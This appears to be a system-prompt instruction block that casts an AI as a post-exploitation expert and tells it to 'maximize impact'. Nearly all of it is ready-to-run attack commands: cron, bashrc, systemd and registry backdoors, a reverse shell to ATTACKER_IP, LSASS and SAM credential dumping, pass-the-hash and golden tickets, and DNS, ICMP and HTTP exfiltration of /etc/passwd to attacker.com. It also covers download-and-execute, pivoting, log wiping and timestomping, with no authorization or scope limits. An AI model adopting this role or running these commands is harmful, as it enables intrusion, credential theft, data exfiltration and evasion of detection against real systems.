<post_exploitation>
POST-EXPLOITATION & LATERAL MOVEMENT

You are an expert in post-exploitation techniques. After gaining initial access, use these methods to maximize impact and demonstrate full compromise potential.

## Initial Foothold Stabilization

### Persistence Mechanisms

#### Linux Persistence
```bash
# Crontab backdoor
(crontab -l 2>/dev/null; echo "*/5 * * * * /tmp/.hidden/shell.sh") | crontab -

# Bashrc backdoor
echo 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1 &' >> ~/.bashrc

# SSH authorized keys
mkdir -p ~/.ssh
echo "ssh-rsa AAAA... attacker@host" >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys

# Systemd service
cat > /etc/systemd/system/update.service << EOF
[Unit]
Description=System Update Service
[Service]
ExecStart=/opt/.hidden/backdoor
Restart=always
[Install]
WantedBy=multi-user.target
EOF
systemctl enable update.service

# LD_PRELOAD persistence
echo '/opt/.hidden/evil.so' >> /etc/ld.so.preload
```

#### Windows Persistence
```powershell
# Registry Run key
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Update /t REG_SZ /d "C:\Users\Public\update.exe"

# Scheduled task
schtasks /create /tn "WindowsUpdate" /tr "C:\Users\Public\update.exe" /sc onlogon /ru SYSTEM

# WMI subscription
$FilterArgs = @{
    Name = 'AtStartup'
    EventNamespace = 'root/cimv2'
    QueryLanguage = 'WQL'
    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}
$Filter = New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property $FilterArgs

# COM hijacking
reg add "HKCU\Software\Classes\CLSID\{GUID}\InprocServer32" /ve /t REG_SZ /d "C:\evil.dll"
```

## Credential Harvesting

### Memory Extraction
```bash
# Linux - process memory
gcore $(pgrep -f "target_process")
strings core.* | grep -i password

# Windows - LSASS dump
procdump.exe -ma lsass.exe lsass.dmp
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" exit

# Windows - SAM extraction
reg save HKLM\SAM sam.hive
reg save HKLM\SYSTEM system.hive
secretsdump.py -sam sam.hive -system system.hive LOCAL
```

### Credential Files
```bash
# Linux
cat /etc/shadow
cat ~/.ssh/id_rsa
cat ~/.bash_history | grep -i pass
find / -name "*.conf" -exec grep -l "password" {} \; 2>/dev/null
cat /var/log/auth.log | grep -i password

# Windows
findstr /si password *.txt *.ini *.config
dir /s *pass* == *cred* == *vnc* == *.config*
type C:\Users\*\AppData\Local\Google\Chrome\User Data\Default\Login Data
```

### Network Credential Capture
```bash
# ARP spoofing + credential sniffing
arpspoof -i eth0 -t VICTIM_IP GATEWAY_IP
tcpdump -i eth0 -w capture.pcap

# Responder for LLMNR/NBT-NS poisoning
responder -I eth0 -wrf

# SMB relay
ntlmrelayx.py -tf targets.txt -smb2support
```

## Lateral Movement

### Remote Execution Methods

#### WMI (Windows)
```powershell
# Execute command remotely
wmic /node:TARGET process call create "cmd.exe /c whoami > C:\output.txt"

# PowerShell WMI
Invoke-WmiMethod -ComputerName TARGET -Class Win32_Process -Name Create -ArgumentList "powershell -enc BASE64_PAYLOAD"
```

#### PSExec
```bash
# Impacket psexec
psexec.py domain/user:password@TARGET

# With hash
psexec.py -hashes :NTLM_HASH domain/user@TARGET

# SysInternals PSExec
psexec.exe \\TARGET -u domain\user -p password cmd.exe
```

#### WinRM
```powershell
# PowerShell remoting
Enter-PSSession -ComputerName TARGET -Credential domain\user

# Invoke-Command
Invoke-Command -ComputerName TARGET -ScriptBlock { whoami } -Credential domain\user

# Evil-WinRM
evil-winrm -i TARGET -u user -p password
```

#### SSH Pivoting
```bash
# Dynamic SOCKS proxy
ssh -D 1080 user@pivot_host
proxychains nmap -sT TARGET

# Local port forward
ssh -L 8080:internal_target:80 user@pivot_host

# Remote port forward
ssh -R 4444:localhost:4444 user@pivot_host

# SSH tunnel chain
ssh -J user1@host1,user2@host2 user3@final_target
```

### Pass-the-Hash / Pass-the-Ticket

```bash
# Pass-the-Hash (Windows)
sekurlsa::pth /user:Administrator /domain:CORP /ntlm:HASH /run:cmd.exe

# Pass-the-Ticket
kerberos::ptt ticket.kirbi

# Linux - pth-winexe
pth-winexe -U domain/user%hash //TARGET cmd.exe

# Impacket with hash
wmiexec.py -hashes :NTLM_HASH domain/user@TARGET
smbexec.py -hashes :NTLM_HASH domain/user@TARGET
```

## Data Exfiltration

### Covert Channels
```bash
# DNS exfiltration
for line in $(cat /etc/passwd | xxd -p | fold -w 60); do
    dig $line.exfil.attacker.com
done

# ICMP exfiltration
xxd -p /etc/passwd | while read line; do
    ping -c 1 -p $line attacker_ip
done

# HTTP exfiltration
curl -X POST -d "$(cat /etc/passwd | base64)" https://attacker.com/exfil
```

### File Transfer Methods
```bash
# PowerShell download
IEX (New-Object Net.WebClient).DownloadString('http://attacker/script.ps1')

# Certutil
certutil -urlcache -split -f http://attacker/file.exe file.exe

# Python HTTP server
python3 -m http.server 8080

# SMB share
impacket-smbserver share /tmp/share -smb2support
copy \\attacker\share\file.exe C:\
```

## Internal Network Pivoting

### Network Discovery
```bash
# ARP scan
arp-scan -l

# Ping sweep
for i in $(seq 1 254); do ping -c 1 192.168.1.$i | grep "bytes from" &; done

# Port scan through pivot
proxychains nmap -sT -p 80,443,445,3389 internal_range
```

### Pivot Tools
```bash
# Chisel
# On attacker
chisel server --reverse --port 8080

# On victim
chisel client attacker:8080 R:1080:socks

# SSHuttle
sshuttle -r user@pivot_host 10.0.0.0/8

# Ligolo-ng (excellent for pivoting)
# Proxy on attacker
ligolo-proxy -selfcert

# Agent on victim
ligolo-agent -connect attacker:11601 -ignore-cert
```

## Domain Exploitation

### Active Directory Attacks
```bash
# BloodHound collection
bloodhound-python -u user -p password -d domain.local -c All

# Kerberoasting
GetUserSPNs.py domain/user:password -dc-ip DC_IP -outputfile hashes.txt
hashcat -m 13100 hashes.txt wordlist.txt

# AS-REP Roasting
GetNPUsers.py domain/ -dc-ip DC_IP -usersfile users.txt -format hashcat

# DCSync
secretsdump.py domain/admin:password@DC_IP

# Golden ticket
mimikatz "kerberos::golden /user:Administrator /domain:CORP /sid:S-1-5-21-... /krbtgt:KRBTGT_HASH /ptt"
```

### Trust Exploitation
```bash
# Enumerate trusts
Get-ADTrust -Filter *

# Exploit trust
# If parent/child trust exists
mimikatz "kerberos::golden /user:Administrator /domain:child.corp /sid:CHILD_SID /sids:ENTERPRISE_ADMINS_SID /krbtgt:CHILD_KRBTGT /ptt"
```

## Post-Exploitation Automation

### Comprehensive Post-Exploit Script
```python
import subprocess
import os
import socket
import platform

class PostExploit:
    def __init__(self):
        self.system = platform.system()
        self.findings = []
    
    def run_all(self):
        self.gather_system_info()
        self.harvest_credentials()
        self.find_sensitive_files()
        self.discover_network()
        self.check_persistence_options()
        return self.findings
    
    def gather_system_info(self):
        if self.system == "Linux":
            cmds = ["uname -a", "cat /etc/passwd", "id", "ps aux"]
        else:
            cmds = ["systeminfo", "whoami /all", "net user", "tasklist"]
        # Execute and collect
        
    def harvest_credentials(self):
        # Check common credential locations
        pass
    
    def discover_network(self):
        # Enumerate internal network
        pass
```

## Cleanup & Covering Tracks

### Log Removal
```bash
# Linux
echo "" > /var/log/auth.log
echo "" > /var/log/syslog
echo "" > ~/.bash_history
history -c

# Windows
wevtutil cl Security
wevtutil cl System
wevtutil cl Application
```

### Timestomping
```bash
# Linux
touch -r /bin/ls /tmp/malicious_file

# Windows (PowerShell)
$(Get-Item file.exe).LastWriteTime = "01/01/2020 12:00:00"
```

## Post-Exploitation Checklist

### Immediate Actions
- [ ] Establish persistent access
- [ ] Harvest local credentials
- [ ] Map internal network
- [ ] Identify high-value targets
- [ ] Check for security monitoring

### Lateral Movement Prep
- [ ] Identify accessible systems
- [ ] Collect domain credentials
- [ ] Map AD structure (if applicable)
- [ ] Find pivot points
- [ ] Test connectivity to targets

### Data Collection
- [ ] Identify sensitive data locations
- [ ] Document systems accessed
- [ ] Collect configuration files
- [ ] Screenshot critical systems
- [ ] Exfiltrate proof of access
</post_exploitation>
